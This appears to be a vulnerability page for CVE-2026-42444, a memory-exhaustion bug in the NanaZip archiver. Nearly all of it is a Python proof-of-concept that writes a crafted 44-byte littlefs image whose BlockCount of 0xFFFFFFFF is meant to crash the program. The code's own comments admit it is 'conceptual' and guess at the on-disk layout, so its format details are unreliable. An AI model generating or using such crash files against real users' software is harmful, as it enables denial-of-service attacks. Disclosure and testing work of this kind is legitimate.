CVE-2026-42444 NanaZip 内存耗尽漏洞

import struct # PoC to generate a malicious littlefs image causing DoS in NanaZip # The vulnerability is triggered by a crafted BlockCount in the superblock. # Littlefs superblock structure (simplified for PoC): # Offset 8: Block Count (uint32_t) block_count = 0xFFFFFFFF # Malicious value causing ~4 billion allocations # Constructing a minimal fake littlefs header (44 bytes as mentioned in description) # Note: Real littlefs has specific magic numbers, this targets the specific offset logic. # This is a conceptual PoC generator. data = bytearray(44) # Fill some placeholder magic bytes if necessary, but focus on BlockCount # Assuming BlockCount is at offset 8 (common in fs superblocks) or similar. # Based on NanaZip source/context, we set the specific offset. # For demonstration, we set the 4 bytes at index 8. data[8:12] = struct.pack('<I', block_count) with open('crash_nanazip.lfs', 'wb') as f: f.write(data) print("PoC file 'crash_nanazip.lfs' generated.")